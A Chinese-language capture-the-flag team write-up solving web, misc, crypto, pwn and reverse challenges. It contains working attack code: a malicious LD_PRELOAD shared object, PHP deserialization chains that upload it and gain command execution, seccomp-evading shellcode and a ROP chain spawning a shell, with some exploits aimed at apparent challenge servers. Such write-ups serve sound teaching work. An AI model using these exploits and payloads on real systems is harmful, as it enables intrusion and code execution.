以下这些均是来自本人以及团队内大佬的解题思路,也纯属做一个分享。如果哪里做的不好,希望师傅们能多多指教。
web
Hijack
首先要准备恶意so文件;里面构造我们要执行的命令,这里我们先看看目录
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("ls /");
}
int geteuid()
{
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
将.c文件编译成so,然后执行第一个EXP 如下:
<?php
class ENV{
public $key;
public $value;
public $math;
public function __toString()
{
$key=filter($this->key);
$value=filter($this->value);
putenv("$key=$value");
system("cat hints.txt");
}
public function __wakeup()
{
if (isset($this->math->flag))
{
echo getenv("LD_PRELOAD");
echo "YesYes";
} else {
echo "YesYesYes";
}
}
}
class DIFF{
public $callback;
public $back;
private $flag;
public function __isset($arg1)
{
system("cat /flag");
$this->callback->p;
echo "You are stupid, what exactly is your identity?";
}
}
class FUN{
public $fun;
public $value;
public function __get($name)
{
$this->fun->getflag($this->value);
}
}
class FILE{
public $filename;
public $enviroment;
public function __get($arg1){
if("hacker"==$this->enviroment){
echo "Hacker is bad guy!!!";
}
}
public function __call($function_name,$value)
{
if (preg_match('/\.[^
.]*$/'
, $this->filename, $matches)) {
$uploadDir = "/tmp/";
$destination = $uploadDir . md5(time()) . $matches[0];
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}
file_put_contents($this->filename,
base64_decode($value[0]));
if (rename($this->filename, $destination)) {
echo "文件成功移动到${destination}";
} else {
echo '文件移动失败。
';
}
} else {
echo "非法文件名。
";
}
}
}
$a=new ENV();
$a->math=new DIFF();
$a->math->callback=new FUN();
$a->math->callback->value=""; //这里写入恶意so文件的base64编码后的结
果
$a->math->callback->fun=new FILE();
$a->math->callback->fun->filename="
.so";
echo urlencode(serialize($a));
生成反序列化结果post提交
回显结果
然后第二条链子,需要实现 putenv :
ENV::wakeup->DIFF::isset->FILE::call->ENV::tostring
exp如下
<?php
class ENV{
public $key;
public $value;
public $math;
public function __toString()
{
$key=filter($this->key);
$value=filter($this->value);
putenv("$key=$value");
system("cat hints.txt");
}
public function __wakeup()
{
if (isset($this->math->flag))
{
echo getenv("LD_PRELOAD");
echo "YesYes";
} else {
echo "YesYesYes";
}
}
}
class DIFF{
public $callback;
public $back;
private $flag;
public function __isset($arg1)
{
system("cat /flag");
$this->callback->p;
echo "You are stupid, what exactly is your identity?";
}
}
class FUN{
public $fun;
public $value;
public function __get($name)
{
$this->fun->getflag($this->value);
}
}
class FILE{
public $filename;
public $enviroment;
public function __get($arg1){
if("hacker"==$this->enviroment){
echo "Hacker is bad guy!!!";
}
}
public function __call($function_name,$value)
{
if (preg_match('/\.[^
.]*$/'
, $this->filename, $matches)) {
$uploadDir = "/tmp/";
$destination = $uploadDir . md5(time()) . $matches[0];
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}
file_put_contents($this->filename,
base64_decode($value[0]));
if (rename($this->filename, $destination)) {
echo "文件成功移动到${destination}";
} else {
echo '文件移动失败。
';
}
} else {
echo "非法文件名。
";
}
}
}
$a=new ENV();
$a->math=new DIFF();
$a->math->callback=new FUN();
//$a->math->callback->value="asdasdasdqdq";
$a->math->callback->fun=new FILE();
//$a->math->callback->fun->filename=".so";
$a->math->callback->fun->filename=new ENV();
$a->math->callback->fun->filename->key="LD_PRELOAD";
$a->math->callback->fun->filename->value="/tmp/c0702151925e83bd5a792523132fb71a.so"; //这里填入上面回显的文件上传路径
echo urlencode(serialize($a));
?>
生成的反序列化对象post提交后回显如下,成功rce,看到目录。
然后更改一下.c文件中的命令执行,重复如上操作即可拿到flag。
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("cat /flag_7876482a2df10725a459 > 4.txt");
}
int geteuid()
{
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
成功获得flag
misc
初探勒索病毒
通过ssh连接将解密勒索病毒的工具放入var/www/html文件夹中,运行以下命令
sed -i 's/flags/"flags"/' ./decryptblocks.py
可能会提示权限不够
ctf@engine-1:/var/www/html$ sed -i 's/flags/"flags"/' ./decryptblocks.py
sed: can't read ./decryptblocks.py: No such file or directory
这时候给提示的文件添加权限就行chmod +777 decryptblocks.py
,然后再运行
ctf@engine-1:/var/www/html$ export SRL_IGNORE_MAGIC=1
ctf@engine-1:/var/www/html$ ./decryptblocks.py ./banana.jpg.sah28vut5 ./key.block
WARNING:magic:Since we do not know the MAGIC, we will attempt to detect it.
完整的解题运行过程
这时候就可以把html目录下的jpg后面的给删除了,然后访问网站就可以看到
然后运行提示的命令,就可以拿到flag了
crypto
4-ezzzecc
题目直接给出是椭圆曲线
要求m,先使用gmpy2.gcd计算p,然后爆破k还原m 直接编写exp
a = 87425770561190618633288232353256495656281438408946725202136726983601884085917
b = 107879772066707091306779801409109036008421651378615140327877558014536331974777
K = (49293150360761418309411209621405185437426003792008480206387047056777011104939 ,43598371886286324285673726736628847559547403221353820773139325027318579443479)
G = (34031022567935512558184471533035716554557378321289293120392294258731566673565 , 74331715224220154299708533566163247663094029276428146274456519014761122295496)
c1 = (3315847183153421424358678117707706758962521458183324187760613108746362414091 ,61422809633368910312843316855658127170184420570309973276760547643460231548014)
c2 = (12838481482175070256758359669437500951915904121998959094172291545942862161864 ,60841550842604234546787351747017749679783606696419878692095419214989669624971)
cipher_left = 75142205156781095042041227504637709079517729950375899059488581605798510465939
cipher_right = 61560856815190247060747741878070276409743228362585436028144398174723191051815
l=K[0]**3+a*K[0]+b-K[1]**2
w=G[0]**3+a*G[0]+b-G[1]**2
import gmpy2
from tqdm import *
from Crypto.Util.number import *
p=gmpy2.gcd(l,w)
E = EllipticCurve(GF(p),[a,b])
c1=E(c1)
c2=E(c2)
G=E(G)
# for k in trange(1,1000000):
# if(isPrime(k)):
# y=k*G
# if(int(y[0])==K[0]):
# print(k)
k=166909
m=c1-c2*k
print(long_to_bytes((cipher_left*inverse(int(m[0]),p))%p)+long_to_bytes((cipher_right*inverse(int(m[1]),p))%p))
// flag{2d6a7e4e-02d3-11ef-8836-a4b1c1c5a2d2}
pwn
Shuffled_Execut
查看题目逻辑,大体为申请一段rwx的空间,随后读入用户输入shellcode。然后通过shuffle()函数对用户shellcode进行编码,当用户输入长度小于0xaf时,执行沙箱并执行用户的shellcode。
shellcode编码函数shuffle()使用伪随机数进行随机两个字节交换完成编码,因为随机数种子已知,所当shellcode长度固定时可以通过编写c代码,使编码后的shellcode正常执行。
使用工具seccomp-tools提取沙箱规则,可以看到禁用了包括orw和execve在内的大量syscall,因此考虑通过openat和writev函数输出flag。
写好shellcode后,将其按照shuffle()函数逻辑的逆运算处理,写出exp:
exp
from pwn import *
# 连接远程主机的IP地址和端口
p = remote('8.147.128.54', 18974)
# 设置架构为amd64
context.arch = 'amd64'
# 构造shellcode payload
payload = b'\x00\x00' + b'\x48\x89\xc4\x48\x81\xc4\x00\x01\x00\x00\x68\x66\x6c\x61\x67\x54\x5e\x48\x31\xff\x48\x83\xef\x64\x48\x31\xd2\x4d\x31\xd2\x48\xc7\xc0\x01\x01\x00\x00\x0f\x05\x48\xc7\xc7\x00\x00\x01\x00\x48\xc7\xc6\x00\x10\x00\x00\x48\xc7\xc2\x07\x00\x00\x00\x6a\x12\x41\x5a\x6a\x03\x41\x58\x4d\x31\xc9\x6a\x09\x58\x0f\x05\x6a\x01\x5f\x6a\x01\x5a\x68\x00\x01\x00\x00\x50\x48\x89\xe6\x6a\x14\x58\x0f\x05'
# 发送payload到远程主机
p.sendline(payload)
# 进入交互模式,与远程主机进行交互
p.interactive()
stdout
查看保护
ida 打开,查看main 函数
发现溢出0x10字节就可以覆盖rbp+ret_add
可以看到有 vuln溢出很长
思路:在主函数中调用vuln函数,通过ROP泄露libc地址,然后利用system函数执行任意命令
编写exp
from pwn import *
#p = process('./pwn')
p = remote("8.147.128.54", 20215)
elf = ELF('./pwn')
libc = ELF('./libc-2.31.so')
def send_payload(payload):
p.send(b'\x00' * (0x50 + 0x8) + p64(0x40125D))
sleep(1)
p.send(payload)
sleep(1)
rdi_ret = 0x00000000004013d3
ret = 0x000000000040101a
rsi_r15_ret = 0x00000000004013d1
csu_rear = 0x4013CA
csu_head = 0x4013B0
bss = 0x4041a0
start = 0x401130
bye = 0x401287
read_plt = elf.plt['read']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
# Leak puts address
payload = b'\x00' * (0x20 + 0x8) + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(start)
send_payload(payload)
# Read /bin/sh into BSS
payload = b'\x00' * (0x20 + 0x8) + p64(rdi_ret) + p64(0) + p64(rsi_r15_ret) + p64(bss) * 2 + p64(read_plt)
payload += p64(csu_rear) + p64(0) + p64(1) + p64(0) + p64(bss) + p64(0x1000) + p64(bss)
payload += p64(csu_head) + p64(0) * 7 + p64(read_plt) + p64(rdi_ret) + p64(bss) + p64(puts_plt) + p64(start)
send_payload(payload)
# Return to main
p.sendline(p64(ret))
sleep(1)
# Send padding
p.sendline(b'b' * (1024))
sleep(1)
# Leak libc base address
payload = b'\x00' * (0x20 + 0x8) + (p64(rdi_ret) + p64(bss) + p64(puts_plt)) * 6 + p64(start)
send_payload(payload)
leak_add = u64(p.recvuntil(b'\x7f', timeout=1)[-6:] + b'\x00\x00')
libcbase = leak_add - libc.symbols['puts']
system = libcbase + libc.symbols['system']
str_bin_sh = libcbase + next(libc.search(b'/bin/sh'))
log.info('libcbase ' + hex(libcbase))
# Call system("/bin/sh")
payload = b'\x00' * (0x20 + 0x8) + p64(rdi_ret) + p64(str_bin_sh) + p64(system)
send_payload(payload)
p.interactive()
reverse
snack
拖入查壳软件发现是python打包的exe文件,用pyinstxtractor将exe解包。找到snack.pyc文件,利用pycdc将pyc文件转为py文件
分析代码发现是个RC4加密,但是有个点要注意它多了个异或 i 这个下标。导入了一个key模块
我们找到这个key.pyc文件,把它转为py文件。
查看key.py文件发现了key
把加密部分拿出来稍微改一下就得到了flag
def initialize(key):
key_length = len(key)
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % key_length]) % 256
S[i], S[j] = S[j], S[i]
return S
def generate_key_stream(S, length):
i = 0
j = 0
key_stream = []
for _ in range(length):
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
key_stream.append(S[(S[i] + S[j]) % 256])
return key_stream
def decrypt(data, key):
S = initialize(key)
key_stream = generate_key_stream(S, len(data))
decrypted_data = [i ^ data[i] ^ key_stream[i] for i in range(len(data))]
for i in decrypted_data:
print(chr(i), end='')
return decrypted_data
key = [ord(c) for c in "V3rY_v3Ry_Ez"]
data = [
101, 97, 39, 125, 218, 172, 205, 3, 235, 195, 72, 125, 89, 130, 103, 213,
120, 227, 193, 67, 174, 71, 162, 248, 244, 12, 238, 92, 160, 203, 185, 155
]
decrypted = decrypt(data, key)